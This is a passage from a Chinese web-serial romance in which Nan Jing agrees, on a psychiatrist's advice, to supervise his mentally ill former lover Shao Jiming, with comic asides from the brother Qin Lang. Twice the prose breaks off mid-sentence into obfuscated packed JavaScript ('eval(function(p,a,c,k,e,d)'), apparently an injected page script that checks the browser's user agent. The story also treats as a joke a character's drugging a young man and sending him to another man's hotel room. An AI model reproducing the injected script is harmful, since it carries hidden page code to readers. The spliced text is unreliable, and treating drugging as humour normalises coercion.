“第二,互动需在专业指导下进行。频率、方式、内容,最好能有大致框架。避免不可预测的刺激。例如,避免直接的情感回应,避免讨论过去的具体恩怨,避免给予模糊的希望或承诺。互动可以围绕中性、具体的事务,比如您之前做的,递水,或者像今晚这样,在安全距离内的沉默存在。” “第三,您的稳定本身,就是最大的药效。对于邵先生这样内心极度动荡、充满被抛弃恐惧的患者来说,一个情绪稳定、行为可预测、不会因他的病情而剧烈波动或消失的重要客体,本身就是一种治疗性环境。您不需要做太多,有时仅仅是在那里,并且不会突然消失,就能起到一定的安抚作用。” “第四,也是最重要的,”唐医生的语气加重,“必须建立后备和支持系统。您不能,也不应该成为他唯一的支撑。我的专业治疗、药物治疗、家庭支持、以及可能需要的住院治疗,必须同步进行,并且是主力。您的作用,更像是一种……情感载体或过渡性客体,帮助他在接受主力治疗时,维持最低限度的生存意志和现实连接感,而不是取代治疗。” 南景沉默地听着,窗外,第一缕金色的阳光终于突破了云层,洒在巴塞罗那高低错落的屋顶上,新的一天正式来临。 “我明白了,唐医生。”南景最终说道,“谢谢您的专业意见。在邵既明情况稳定,能够进行有效沟通之后,如果需要,我可以配合您,在明确的界限和规则下,进行有限度的接触。但在此之前,以及在任何我认为必要的时候,我会以我的判断和舒适度为优先。” “我完全理解,也非常感谢您的坦诚和愿意配合的态度,南先生。”唐医生的声音里透出一丝如释重负,以及真正的尊重,“这对邵先生的治疗将会是一个重要的积极因素。我会尽快根据他醒后的评估,制定一个初步的沟通和互动框架,如果您同意,我们再详细讨论。保持联系。” “好。” 通话结束。南景放下手机,站在原地,望着窗外巴塞罗那灿烂的朝阳。 他缓缓地呼出一口气。 唐医生的话,像一份清晰的操作手册,将他从之前那种被秦朗的悲痛哀求、邵既明的疯狂表现、以及自己内心那丝陌生的闷痛所裹挟着有些混乱的状态中,拉了出来。 他知道了自己可以扮演什么角色,边界在哪里,风险是什么,以及……他拥有绝对的主动权。 这个认知,让他感到一种熟悉的、掌控感回归的平静。虽然这份掌控关联着一个巨大的麻烦和一颗破碎的心,但至少,局面不再是一片模糊的令人无措的黑暗。 他的心,确实松动了。 不再像以前那样,是彻彻底底、密不透风的铜墙铁壁,将邵既明这个人连同所有相关记忆,牢牢锁死、丢弃在门外。 南景转过身,走回卧室门口,轻轻推开门。 秦朗立刻从床边抬起头,紧张地看向他,眼中充满了询问。 南景对他点了点头,目光扫过床上依旧沉睡的邵既明,然后走到之前那把椅子旁,重新坐了下来。他没有解释什么,也没有给出任何承诺。 但秦朗看着他那平静却不再完全是疏离的背影,看着他就这样重新坐下,仿佛要在这里一直待到邵既明醒来,心里那块高悬的巨石,终于“咚”地一声,落回了实处,虽然依旧沉重,但至少不再是悬在半空、随时会砸得粉碎的状态。 59. 守得云开见月明 邵既明是在一种生理疲惫与精神恍惚的状态中醒来的。他没有立刻睁开眼,只是感觉胸口不似往日醒来时那般憋闷窒息,反而有种……轻飘飘。 他缓缓睁开眼睛,视线先是模糊,然后逐渐聚焦。首先映入眼帘的,是酒店房间熟悉的天花板。然后,他微微侧过头—— 心脏,猛地漏跳了一拍,随即以一种不正常的速度擂动起来。 南景。 南景就坐在床边的扶手椅上,闭着眼睛,似乎是睡着了。 这个画面,与他昨夜癔症中依偎着的、温柔聆听他忏悔的南景,瞬间重叠。现实与幻觉的边界,在邵既明刚刚苏醒、药物残留和昨夜剧烈情绪冲击尚未完全褪去的大脑里,变得模糊不清。他自动屏蔽了房间里另一个坐在角落沙发椅上、同样因为疲惫而闭目养神的秦朗,眼中只剩下那一个人。 他小心翼翼地从床上坐起来,动作轻得没有发出一点声音,他赤脚下床。 他走到南景面前,微微弯下腰,目光一寸寸描摹着南景沉睡的容颜。然后,他伸出了那只没有受伤的右手,指尖带着轻颤,抚上了南景的脸颊。 触手温热,皮肤光滑。真实的体温透过指尖传来,与他幻觉中冰凉虚幻的触感完全不同。这真实的触感,非但没有让他清醒,反而让他更加确信——这就是他昨夜“见到”答应了他的南景。他真的还在。 几乎是同时,南景睁开了眼睛。 他的眼眸漆黑沉静,没有初醒的迷茫,只有一片清醒的深邃。他没有动,没有避开邵既明的触碰,只是平静地迎上邵既明痴痴凝望的眼神。 秦朗也在邵既明下床的瞬间就睁开了眼,他屏住呼吸,全身肌肉绷紧,死死盯着邵既明的一举一动,心脏提到了嗓子眼。他怕邵既明又突然发疯,怕南景反应过激刺激到他,更怕这诡异的平静下酝酿着更大的风暴。他看见邵既明伸手去摸南景的脸,差点没忍住冲过去,但看到南景平静地睁眼,没有拒绝,他又硬生生忍住了,只是手心里全是汗。 “你还在啊。”邵既明开口,声音带着刚醒的沙哑和一种如梦初幻的飘忽,眼睛一眨不眨地看着南景。 “嗯,我在。”南景的声音响起,平稳,温和,没有任何起伏,却像一颗定心丸,轻轻落入了邵既明混乱的心湖。 邵既明的眼睛瞬间亮了起来,那光芒炽热得有些不正常,苍白的脸上甚至泛起了一丝激动的红晕。他嘴角上扬,露出一个近乎孩子般纯粹欣喜的笑容,与昨夜那空洞诡异的笑截然不同。 “你昨天晚上答应我的,我还记得。”他急切地说,手指依旧眷恋地停留在南景脸颊上,舍不得移开。 秦朗两眼懵逼:答应你什么了?!啊?!答应你什么了?!我他妈怎么不知道?!南景答应你什么了?!是答应跟你手牵手看星星还是答应给你生猴子了?!邵既明你脑子里的水能不能倒一倒?!那都是你的幻觉!幻觉!你这个白痴! 南景看着邵既明眼中的信任和依赖,眼神深了点。他没有反驳,没有解释那是你的幻觉,而是顺着他的话,用那种依旧温和、但带着清晰引导意味的语调,轻声问道:“我知道。那你会听我的话吗?” “嗯!”邵既明毫不犹豫,重重地点头,眼神坚定得像要入党,“我都听你的。你说什么,我都听。”那份顺从,近乎虔诚,也透着一股让人心头发紧的病态。 秦朗震惊了:听他的话?!你他妈什么时候这么听过我的话?!老子让你吃药你偷偷倒掉!让你看医生你推三阻四!让你离南景远点你他妈恨不得黏上去!现在他说什么你都听?!邵既明你个双标狗!见色忘兄!没良心的!白眼狼!老子白疼你这么多年了!! “那我们先把药吃了。”南景继续说。 “好,吃药。”邵既明立刻答应,目光终于从南景脸上移开,开始四下寻找。他完全无视了旁边沙发上那个脸色铁青、眼神控诉的秦朗。他径直走向床头柜,那里放着昨晚医护人员留下的药片和水。动作干脆利落,没有丝毫平日的拖延和抗拒。 秦朗无语:!!!邵既明!你往这儿看!看我!我!秦朗!你亲哥!活生生的!坐在这儿!你眼里只有南景是吧?!药是我让人准备的!水是我倒的!我!你哥!你他妈看我一眼会死啊?!(内心疯狂捶地) 邵既明找到药,看也没看就倒进嘴里,接过南景适时递过来的水杯,仰头吞下。整个过程顺畅得不可思议。吃完药,他还把空水杯乖乖放回原处,然后转过身,眼睛又黏在了南景身上。 南景拿起自己随手放在椅背上的外套,对邵既明说:“你去洗漱,换身衣服。”他边说,边转身,似乎要往房间外走。 邵既明的目光立刻追随着他,看到他走到房间门口,脚步停了下来,但没有立刻跟上去,只是站在原地,眼巴巴地望着南景的背影,那双刚刚还亮晶晶的眼睛里,瞬间蒙上了一层浓浓的委屈和不安。 南景在门口停住,回过头,恰好对上邵既明那委屈又执着的目光。他顿了一下,然后,对着邵既明,很轻、很淡地,弯了弯唇角。 那甚至算不上一个完整的笑容,只是嘴角一个极其微小向上的弧度。但在晨光的映照下,在邵既明全神贯注的凝视中,这个细微的表情变化,却像一缕春风,瞬间吹散了他眼中所有的不安。 “我饿了。”南景用平常的语气说,目光平静地看着他,“我们一会去吃早饭。你收拾好就出来。” 邵既明眼中的委屈瞬间被一种被需要和有任务的明亮光彩取代,他用力地点了点头:“嗯!” 然后,他几乎是立刻转身,风风火火地冲进了浴室,速度快得差点撞上门框。很快,浴室里传来哗哗的水声。 然而,水声只响了不到一分钟,就停了。邵既明嘴里还含着泡沫,牙刷都忘了拿出来,就猛地拉开浴室门,探出半个身子,焦急的目光在房间里搜寻,直到看到南景依旧安然地站在客厅与卧室连接的门口,他才像是松了口气,脸上露出一个傻气的、带着泡沫的笑容,然后又缩回去,继续洗漱。 ……邵既明你他妈是属狗的吗?!撒泡尿都要回头确认主人还在不在?!你就这么怕他跑了?!还有你那是什么智障笑容?!泡沫都滴下来了!恶心死了!老子真是没眼看!秦朗愤然的在心里骂骂咧咧。 洗漱完毕,邵既明带着一身清爽的水汽和沐浴露的淡香走了出来。他走到衣柜前,开始翻找衣服。然后,他做了一个让秦朗差点从沙发上滑下去、让南景眉头跳动了一下的动作—— 邵既明就那样,当着南景和秦朗的面,毫无顾忌地,开始脱衣服。他先脱掉了上衣,露出苍白但肌理分明的上半身,虽然清瘦,但骨架匀称,依稀可见往日锻炼的痕迹。然后,他脱裤子…… 秦朗内心非常非常凌乱:我靠!邵既明你他妈疯了?!这还有外人呢?!虽然说这个外人是你心心念念的南景,你就不能去浴室换吗?!你当你是在自己卧室开个人内衣秀啊?!光天化日!朗朗乾坤!不知羞耻!南景还在看着呢!你你你……秦朗猛地抬手捂住眼睛,但同样,指缝宽得能开赛车。 南景确实还看着。他的目光平静地落在邵既明身上,没有立刻移开,也没有任何波澜。直到邵既明真的要把外裤褪下,露出内?裤边缘时,南景才转开了视线,目光落在了窗外。 邵既明对此毫无所觉。他迅速地换上了干净的衬衫和长裤,整个过程,他的目光时不时就瞟向南景,确认他还在,眼神里是全然的信赖和一种近乎雏鸟般的依恋。换好衣服,他甚至走到南景面前,微微张开手臂,眼神亮晶晶地看着南景:“我这样行吗?” 南景的目光从窗外收回,落在他身上,从上到下扫了一遍,点了下头:“可以。走吧。” 邵既明立刻紧紧跟在了南景身后半步的位置,亦步亦趋。 秦朗看着两人前一后走出卧室的背影,终于放下捂着脸(实则偷看)的手。 他揉着突突直跳的太阳穴,心里那十万头草泥马不仅奔腾而过,还留下了满地狼藉的脚印和排泄物。 这日子,真是没法过了。 一个病得不轻,眼里只有旧情人,完全当亲哥是空气。 一个看似冷静克制,实则默许纵容,手段高明得让人头皮发麻。 而他,堂堂秦氏总裁,英俊多金,新婚燕尔,本该享受甜蜜二人世界,结果却天天在这里当隐形人兼吐槽役,还得时刻提防着自家弟弟突然发病或者当众裸奔! 秦朗站起身,拍了拍身上并不存在的灰尘,带着一脸“老子真是上辈子欠你们”的悲愤和无奈,也跟了出去。 早餐,看来是注定无法平静了。而他的吐槽大业,任重而道远。 早餐是酒店顶层的自助餐厅,视野开阔,阳光充沛。长长的餐台上摆满了各式各样的火腿、奶酪、面包、水果和当地特色早餐,香气诱人。秦朗端着一个空盘子,亦步亦趋地跟在周冉身边,看似在认真挑选食物,实则压低了声音,语速飞快地将昨晚邵既明癔症发作、对着空气忏悔依偎、今早混淆现实、对南景言听计从、甚至当众换衣服的种种壮举,以及南景从始至终异常平静、甚至略带引导的应对,添油加醋、声情并茂地吐槽了一遍。最后,他咬牙切齿地总结: “……所以现在就是这么个情况!邵既明那臭小子完全把我当空气!眼里只有南景!南景让他吃药他就吃,让他换衣服他就换,还他妈换得那么……豪放!南景呢?不拒绝,不主动,不负责,还不给钱……呸,是特么不拒绝,偶尔还主动引导两句,态度温和得吓人!老婆,你说这南景到底想干嘛?他是不是被邵既明传染了,也疯了?!” 周冉正慢条斯理地夹起一块伊比利亚火腿,闻言,漂亮的眉毛挑了挑,她瞥了一眼不远处窗边正在打电话的南景。她又看了一眼坐在餐桌旁,目光牢牢黏在南景背影上的邵既明。 “啧,”周冉轻轻咂了下嘴,将火腿放进盘中,“那恭喜你了啊,秦总。你弟弟这追妻火葬场,看来是终于点着第一把火了,虽然这火是他自己差点把自己烧成灰才换来的。” 秦朗一愣,没太明白:“什么火葬场?点着什么火?周冉你说人话!” 周冉白了他一眼,用叉子点了点南景的方向:“南景这人,我认识他多少年了?从小一起长大。他什么性子我最清楚。看起来温温和和,对谁都客气,其实骨子里比谁都冷,都独。心墙砌得比圣家堂还高,门锁得比瑞士银行金库还严实。他要是真对一个人彻底翻篇了,那这个人对他来说,就跟路边的石头没区别,不会多看一眼,也不会多费一分心思。客气疏离,是他最高的礼仪,也是最后的界限。” 她顿了顿,看着秦朗若有所思的表情,继续道:“这些年,追他的人少吗?男的女的,高的矮的,有钱的有才的,什么样儿的没有?我甚至……”她凑近秦朗耳边说,“……趁他出差,找了个符合他当年审美的小帅哥,灌了点助兴的东西,直接塞他酒店房间去了。你猜怎么着?” 秦朗瞪大眼睛,一脸“你玩这么大”的表情。 周冉耸耸肩,一脸“基操勿六”:“南景那家伙,进去不到三分钟就出来了,脸黑得像锅底,直接一个电话把我骂得狗血淋头,然后当晚就换了酒店,拉黑我整整一个星期!后来那小帅哥哭哭啼啼跟我说,南景进去看了他一眼,眼神冷得能冻死人,说了句‘走错房间了,抱歉’,然后转身就走,顺手还把门从外面带上了,差点夹到追出来想拉他的小帅哥的鼻子!” “……”卧槽,南景你这么刚的吗?! “所以啊,”周冉总结道,目光重新落回窗边南景的身上,眼神里带着点复杂的感慨,“他对邵既明呢,是真的放下了。那些爱啊恨啊,早被他自己消化干净了,连渣都不剩。但.....” 那个“但”字意味深长。 秦朗的心也跟着提了起来:“但是什么?” 周冉用下巴点了点南景,又点了点邵既明:“但是,放下,不等于无关。更不等于,看到一个人因为你,变成这副人不人鬼不鬼、离了你好像就活不下去的德行,还能真正做到完全无动于衷,尤其是……”她瞥了一眼秦朗,“……尤其是在知道了某些内情,比如那杯酒的误会,比如他其实记得你所有好之后。南景的冷,是建立在理智和逻辑上的。当逻辑告诉他,眼前这个惨兮兮的家伙,某种程度上也是个被命运和自己性格坑了的倒霉蛋,而且他的生死似乎还跟自己有点关联时,他那套彻底漠视的行为准则,就会出现裂痕。” 秦朗顺着她的目光看去。窗边,南景似乎打完了电话,他收起了手机,微微侧头,目光扫过邵既明。 而餐桌边的邵既明,在南景转身的瞬间,身体往前倾了倾。 “看见没?”周冉用叉子虚虚一点,“一个,虽然表面平静,但下意识会确认对方状态,会给出不会立刻消失的信号。另一个,像雏鸟盯着亲鸟,片刻不敢移开视线,眼里全是依赖和恐惧被抛弃。这叫什么?这叫一个愿打一个愿挨的虐恋前奏?还是一个清醒着沉沦的病态共生开端?” 秦朗听得头皮发麻,但又觉得周冉说得好像有点道理。“那你说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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语气平淡,最普通的叮嘱。但邵既明却像接到了圣旨,立刻点头,放下手里搅了半天的咖啡,起身去拿热的,顺便还真的去餐台又取了些食物回来,虽然拿回来的东西看起来依旧没什么胃口,但至少是动了。 秦朗看着这一幕,心里那十万头草泥马又开始了新一轮的奔腾,只是这次,奔腾中似乎夹杂了一丝……极其微弱的、连他自己都不愿承认的……希望? 完了完了,老子好像也被冉冉这个妖女带歪了,居然觉得这诡异的画面有那么一丢丢……顺眼? 呸!顺眼个屁!老子只是不想我弟弟真去数数字数到断气! 秦朗恶狠狠地咬了一口手里的可颂,决定化悲愤为食量,同时在心里继续他的吐槽大业,只不过这次,吐槽的对象似乎从单一的“邵既明是恋爱脑神经病”,悄然变成了“南景这厮到底想干嘛”以及“这俩祖宗什么时候能正常点别吓人”。 南景目光落在自己面前的餐盘上。 他的盘子里,已经摆好了食物。不是随意拿取的,而是符合他多年来的早餐习惯,两片烤得边缘微焦的全麦吐司,旁边一小碟低脂的酸奶,上面点缀着几颗新鲜的蓝莓和坚果碎。咖啡杯旁边,还放着一小罐他偏爱的产自埃塞俄比亚的单一产地蜂蜜。 南景的目光,缓缓移向餐桌对面。 邵既明已经坐回了自己的位置,面前也放着餐盘,里面是和他差不多的简单食物,但他几乎没有动,只是低着头,用叉子无意识地戳着酸奶,时不时抬起眼,飞快地瞟一下南景的方向。 察觉到南景的目光,邵既明立刻坐直了些,停止了戳酸奶的动作,然后,他像是鼓足了勇气,迎着南景的视线,很轻、很快地说了一句:“我看你没来,就……先帮你拿了点。不知道合不合适……” 秦朗在旁边听得直翻白眼:合不合适?他妈的连南景喜欢哪个山沟沟里产的蜂蜜你都记得一清二楚,这能不合适?邵既明你这演技也太浮夸了!装什么小白兔!你当年对着南景爱答不理的嚣张劲儿呢?! 周冉则挑了挑眉,饶有兴致地看着南景的反应。 南景没有立刻回应邵既明那句小心翼翼的询问。他的目光重新落回自己面前的餐盘上。 这不仅仅是一份早餐。这是一个信号,一个证明——证明唐医生在电话里说的话,并非仅仅是基于理论的推测。 就在刚才,在窗边,唐医生用他专业而冷静的语调,描述了一个残酷的意象:“南先生,以邵先生目前的心理状态,我们可以这样理解:在昨晚那种极致的刺激和崩溃之后,他就像一只在绝对黑暗中盲目飞行、筋疲力尽的蛾子。他的方向感、求生欲、甚至对光的辨别力,都降到了最低。而您的出现,或者说,他在意识模糊时感知到的您的存在和回应,成了那片黑暗中唯一能被他的病态感知系统捕捉到确定的光源。” “现在,他醒了。如果他醒来后发现那片光消失了,黑暗重新笼罩,他可能会立刻重新陷入更深的恐慌、解离,或者启动更极端的自我毁灭程序,继续在黑暗中耗尽最后的气力,直到坠落。这是最危险的情况。” “而如果他醒来,发现光还在,就像现在这样,您还在他的视线范围内,那么,从心理和生理层面,他就会像那只蛾子终于锁定了光源,会不顾一切地、本能地扑向那束光。这已经与他的自由意志无关了,这是一种生存本能被扭曲后的病态绑定。在可预见的未来,至少在病情得到根本性扭转之前,他可能……再也无法离开这束光了。离开,就意味着重新被抛入能要他命的黑暗。” 南景当时听着,没有打断,只是望着窗外巴塞罗那逐渐鲜活起来的街道。他明白了自己处境的荒诞与无奈。他不是救世主,不是情感归宿,甚至不是一个旧情人。他是一束被强行征用的、关乎另一个人生死存续的人造光源。这角色被动,沉重,且充满不可预知的风险。 而现在,看着面前这份被准确记忆、并小心翼翼奉上的早餐,唐医生那个关于蛾子与光的冰冷比喻,瞬间拥有了无比具象、甚至令人心悸的实感。 这份早餐,不是讨好,不是追求,甚至不是示好。它是一种病态的确认和依赖仪式。它在说:你看,我记得关于你的一切,我知道哪里是你的位置,我能为你做这些小事。所以,请你……不要熄灭,不要离开。 他不能突然消失。不能像对待其他无关紧要的人那样,转身离开,切断联系。因为那只蛾子可能会因此撞得粉身碎骨。 但他也绝不愿意,让自己真的成为那束被绑定、被消耗的光。那违背他所有的原则和对自己生活的掌控欲。 “吃完早饭,我们需要谈一谈。关于接下来的安排。” 这句话,既是对邵既明说的,也是对旁边竖着耳朵的秦朗和周冉说的。 邵既明立刻点头,动作快得像小鸡啄米:“好,谈。” 秦朗心里一紧,不知道南景这“谈谈”是要谈出个什么章程。周冉则挑了挑眉,眼里闪过一丝“终于进入正题了”的玩味。 60. 接管 早餐后,秦朗那间拥有绝佳城市景观的总统套房客厅,成了临时会议室。 南景、周冉、秦朗三人,呈三角形坐在宽敞的客厅中央。南景独自坐在一张单人沙发上,背脊挺直,双手交叠放在膝上,姿态是惯有的沉静从容。周冉则慵懒地窝在另一张长沙发的一端,眼神带着玩味,看看这个,又看看那个,仿佛在欣赏一出即将开锣的好戏。 秦朗则显得有些坐立不安,他坐在周冉旁边的位置,眉头紧锁,目光时不时瞟向紧闭的书房门,邵既明正被发配在里面,和赵琪一起写作业。他就像个担心孩子被老师单独留下的家长,尽管那孩子已经快三十了,而且那老师……秦朗看向南景。 “关于邵既明接下来的安排,基于昨晚至今的情况,以及唐医生的专业意见,我有些想法,需要和你们沟通,达成共识。” 秦朗立刻坐直了身体,竖起耳朵。周冉饶有兴致地看着南景。 “基于人道主义,以及避免发生不可挽回的悲剧,我愿意,在接下来的一段时间内,暂时、有条件地,接管对邵既明日常状态的监督和部分行为引导工作。” “接管?!”秦朗没忍住,脱口而出,“南景,你……你说的接管,是什么意思?像接管一个项目?还是接管一个……病人?”他心里警铃大作,危!我弟弟危! 周冉则“噗嗤”一声轻笑出来,眼里闪着促狭的光:“接管?这个词用得妙啊南总。是打算签个劳务合同,明确KPI和奖惩制度吗?比如,按时吃药率、情绪稳定天数、不对着空气自言自语次数?” 南景对周冉的调侃不置可否,只是继续说道:“这并非儿戏,也不是商业合作。接管意味着,在邵既明病情稳定、能够重新建立相对正常的自我管理能力之前,由我来负责确保他遵守基本的治疗纪律,并在其出现明显异常行为时,进行第一时间的干预和引导。目的是降低他自我伤害的风险,并为专业治疗创造相对稳定的环境。” 他顿了顿,目光看向秦朗:“秦朗,你是他哥,也是他目前法律和情感上的主要监护人。但显然,你过往的监护方式,以及你自身情绪容易被他牵动的特点,在某些关键时刻,效果有限,甚至可能因你的焦虑而加剧他的不稳定。昨晚,以及今早,是例证。” 秦朗被说得脸一阵红一阵白,想反驳,却无法反驳。确实,他一看到邵既明不对劲就急,一急就容易吼,一吼邵既明就更崩溃。昨晚如果不是南景那句“我疼”和今早的冷静应对,后果不堪设想。 “所以,接管的具体内容包括:一,监督他按时、按量服药,并记录服药后的基本反应。二,在他出现情绪剧烈波动、解离征兆或自伤倾向时,由我作为主要干预人,你们配合。三,日常的互动和引导,以我的判断和节奏为主,你们需要给予配合,而不是擅自介入或打乱。四,所有关于他病情的重要决策,包括是否调整药物、是否需住院、后续去向等,最终由唐医生、你们家属,以及我,三方共同商定,但以唐医生的专业意见为最终依据。在涉及他人身安全的紧急情况下,我有临时处置权。” “南景,”秦朗舔了舔有些发干的嘴唇,我……我理解你是好意,也知道我有时候是着急了点。但是,接管……这责任太大了!而且,这对你也不公平!你没必要……” “我需要明确界限,秦朗。”南景打断他,“唐医生认为,在专业指导下,我的稳定存在对他目前的状态有积极作用。而我,只会在明确界限、风险可控、且我拥有绝对主导权的前提下,考虑提供这种存在。这不是无私帮助,这是一场各取所需、权责清晰的合作。我需要你的完全授权和配合,否则,合作无法成立。” 他这话说得赤裸裸,把成年人世界里的权衡利弊、风险控制摊开在桌面上。 秦朗被噎得说不出话。他看向周冉,希望老婆能说点什么。 周冉慢悠悠地喝了口水,才开口道:“南景的意思很简单,秦朗。就是你弟弟这个烂摊子,现在常规方法搞不定了,需要上点非常规手段。而南景,恰好是眼下能找到的、可能有效的非常规手段本身。但使用这个手段有风险,有代价,所以得先签个使用协议,明确坏了不赔,丢了不找,而且怎么用、用多久,得他说了算。你呢,作为物主,要么签字授权,要么继续自己抱着这个随时可能炸的烂摊子等死。二选一,很简单。” 秦朗:“……”老婆你要不要比喻得这么难听?!什么烂摊子!那是我弟!亲弟! 但他知道,周冉话糙理不糙。南景就是这个意思。 “那……那接管期间,你们……我是说,你和邵既明,怎么相处?”秦朗问出了最担心的问题,“总不能二十四小时绑在一起吧?还有,要是他……他又像早上那样,分不清现实幻觉,或者……做出更过激的举动,你怎么办?” “我会尽量避免任何可能引发他错误解读的亲密或暧昧言行。”南景回答得很快,显然已经思考过,“至于他可能出现的问题,我会依据唐医生的指导和我的现场判断处理。原则是:确保安全,及时干预,必要时联系专业支持。我不会承诺能解决所有问题,但我承诺,在我的接管期间,会以最高优先级防范最坏情况的发生。” 他看向秦朗:“秦朗,这不是万全之策。这是当下可能找到的、风险相对可控的选项之一。你可以选择拒绝,那么我会立刻退出,不再以任何形式介入邵既明的治疗和日常生活。你们自行负责。你也可以选择接受,那么就必须完全信任我的判断和方式,即使你不理解或不认同。没有中间地带。” 客厅里陷入短暂的沉默。 秦朗看着南景那张没什么表情、却写满言出必行的脸,心里天人交战。把弟弟交给南景接管?这听起来简直离谱!可如果不交……唐医生的话言犹在耳,邵既明早上的状态也让他心有余悸。他自己确实搞不定,也经不起再来一次惊吓了。 最终,对弟弟安危的担忧,压倒了对接管这个冰冷词汇的不适和那点可怜的兄长尊严。秦朗几乎是认命般地叹了口气:“行……南景,就按你说的办。我……我授权给你。在邵既明好起来之前,你……你怎么说,我们怎么配合。只求你别……别真把他当项目给优化掉了。”最后一句,带着点无奈的恳求。 “我会尽我所能,确保他安全,并配合治疗。但最终结果,取决于他的病情发展和治疗配合度,我无法保证。” “我知道,我知道……”秦朗颓然地靠进沙发里。 周冉看着达成协议的两人,嘴角的笑意更深了。她用只有秦朗能听到的音量,低声吐槽道:“秦总,恭喜啊,喜提弟媳,暂代监管版,一位。虽然这位弟媳上岗不谈恋爱只谈条款,不管暖床只管吃药,但好歹……专业过硬,制冷效果一流,应该能把你那随时可能自燃的弟弟镇住。就是不知道,这接管久了,是你弟先被冻成冰棍,还是南景先被这烫手山芋焐热了。啧,有好戏看咯。” 秦朗听得一脸黑线,但内心那点荒谬的担忧,似乎也被周冉这没心没肺的调侃冲淡了些许。 算了,死马当活马医吧。 至少南景在,邵既明看起来……听话。 至少,暂时不用提心吊胆,怕他下一秒就做出什么不可挽回的事。 至于其他的……走一步看一步吧。 南景见秦朗点头,便站起身,语气恢复了平常的淡然:“既然达成共识,细节我会和唐医生沟通后,再与你确认。今天下午,按原计划,我们返回马德里,然后从那里回国。邵既明需要尽快在熟悉的环境下,开始更系统的治疗。行程中,我会负责他的状态。” 这他妈都叫什么事儿啊! 度个蜜月,度出个弟弟托管协议! 还是托付给前男友! 这剧情,连最狗血的八点档都不敢这么写! 秦朗仰头,将周冉杯子里剩下的水一饮而尽。 而书房里,南景推门而入,看到的是邵既明立刻从对着作业本发呆的状态中惊醒,目光像受惊的小鹿又像找到归宿的雏鸟,瞬间牢牢锁在他身上,眼中是依赖和等待指令的乖巧。 南景迎上他的目光,脸上没什么表情,只是平静地开口,下达了接管后的第一个指令:“收拾东西,一小时后出发去机场。” 邵既明立刻点头,毫不犹豫地开始动作,效率高得惊人。 抵达马德里后,秦朗财大气粗地直接包下了一栋位于安静街区、带庭院和泳池的私人别墅。空间宽敞,房间充裕,每个人都能拥有足够的隐私和距离——至少理论上是这样。秦朗想得很美:大房子,隔音好,有保镖,有管家,南景接管邵既明,老子终于可以搂着老婆好好享受一下迟来的、不被打扰的蜜月时光了! 南景将时间切割成整齐的区块:按时督促邵既明服药,安排简单的户外散步,指定阅读时间,甚至包括固定的三餐和休息时段。邵既明表现得异常配合,甚至可以说是……乖顺。对南景的每一个指令,他都迅速执行,不多问,不拖延,目光大部分时间低垂,只有在南景对他说话或需要他回应时,才会抬起眼,眼神里是一种近乎麻木的顺从。他对秦朗和周冉依旧维持着一种礼貌的疏离,对赵琪的搭话能简短回应,但所有的注意力核心,显然只围绕着南景一人运转。 秦朗一边欣慰于弟弟的稳定,一边又觉得这稳定底下透着股说不出的诡异。太乖了,乖得不像邵既明。但他不敢多问,生怕打破这脆弱的平衡。周冉则冷眼旁观,偶尔和南景交换一个心照不宣的眼神。 夜晚降临,别墅归于宁静。秦朗坚决不同意赵琪再和周冉同睡。“琪琪,你长大了,要独立!自己睡!”他义正辞严,其实心里的小算盘打得噼啪响:终于没有小拖油瓶了!老婆是我的!今晚谁也别想打扰! 然而,他显然低估了命运的眷顾和他弟弟搞事的能力。 深夜,万籁俱寂。秦朗正搂着周冉,并做着一些不可描述的蜜月美梦,突然—— “啊!!!” 一声短促、尖锐、充满了惊恐的女孩尖叫,猛地划破了别墅的宁静!声音来自二楼走廊! 秦朗一个激灵从床上弹起来,心脏差点从嗓子眼跳出去。周冉也瞬间清醒,蹙眉坐起。两人对视一眼,都从对方眼中看到了不祥的预感——这声音,是赵琪! “琪琪!”秦朗低吼一声,连拖鞋都来不及穿,光着脚就冲出了房门。周冉也迅速跟上。 二楼走廊只开着一盏昏暗的夜灯。只见赵琪穿着睡衣,抱着一个毛绒玩具,脸色煞白地站在自己房间门口,手指颤抖地指着斜对面——南景卧室房门的方向,眼睛里满是惊魂未定。 “大、大表哥……有、有个人……蹲在那里……”赵琪的声音带着哭腔,显然吓得不轻。 秦朗和周冉顺着她手指的方向看去。 只见南景那扇门前,靠近墙角的阴影里,一个穿着白色睡衣的身影,正抱着膝盖,蜷缩成一团,一动不动地蹲在那里。头发凌乱地遮住了部分脸颊,脑袋微微低垂,看不清表情。在昏暗的光线下,那团白色的身影显得格外突兀,也格外……鬼气森森。 不是邵既明还能是谁?! 秦朗的血液瞬间冲上头顶,又“唰”地一下凉透。“我艹!邵既明!大半夜你不睡觉!蹲在南景门口装什么贞子啊?!还把琪琪吓成这样!老子掐死你的心都有了!” 周冉也愣了一下,随即眉头紧锁,看向那团身影的眼神里多了几分凝重。这不是白天那个乖顺的邵既明。这更像是某种无意识的、病态的行为。 就在这时,南景的房门“咔哒”一声,从里面打开了。 南景显然也被尖叫声惊醒了。他穿着深色的丝质睡袍,头发微乱,但眼神清醒冷静。他打开门,第一眼看到的不是门口的邵既明,而是对面惊恐的赵琪和脸色铁青的秦朗、周冉。 “怎么回事?”南景的声音带着刚醒的低沉,但很平稳。 “南、南景叔叔……门、门口……”赵琪结结巴巴地指着他的方向。 南景微微侧身,低头,目光落在了自己门口阴影里那团白色的身影上。 他的动作停顿了大约一秒,眼神瞬间变得深邃。他并没有立刻去碰触或叫醒邵既明,而是先仔细地观察了几秒——邵既明的呼吸均匀绵长,身体放松,似乎……是睡着了?蹲在门口睡着了? 秦朗已经急得火烧眉毛,压低声音吼道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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南景也做出了类似的判断。他没有继续追问:“地上凉,先起来。” 邵既明迟疑了一下,然后慢慢地用手撑着地面,试图站起来。蹲得太久,腿似乎麻了,他身体晃了一下。 南景没有伸手去扶,只是静静地看着。秦朗在旁边差点忍不住要去搀,被周冉用眼神制止了。 邵既明自己站稳了,赤脚踩在冰凉的地板上,微微打了个寒颤。他依旧有些茫然地看着南景,又看了看闻声赶来的别墅值班保镖,似乎终于意识到自己做了什么奇怪的事情。 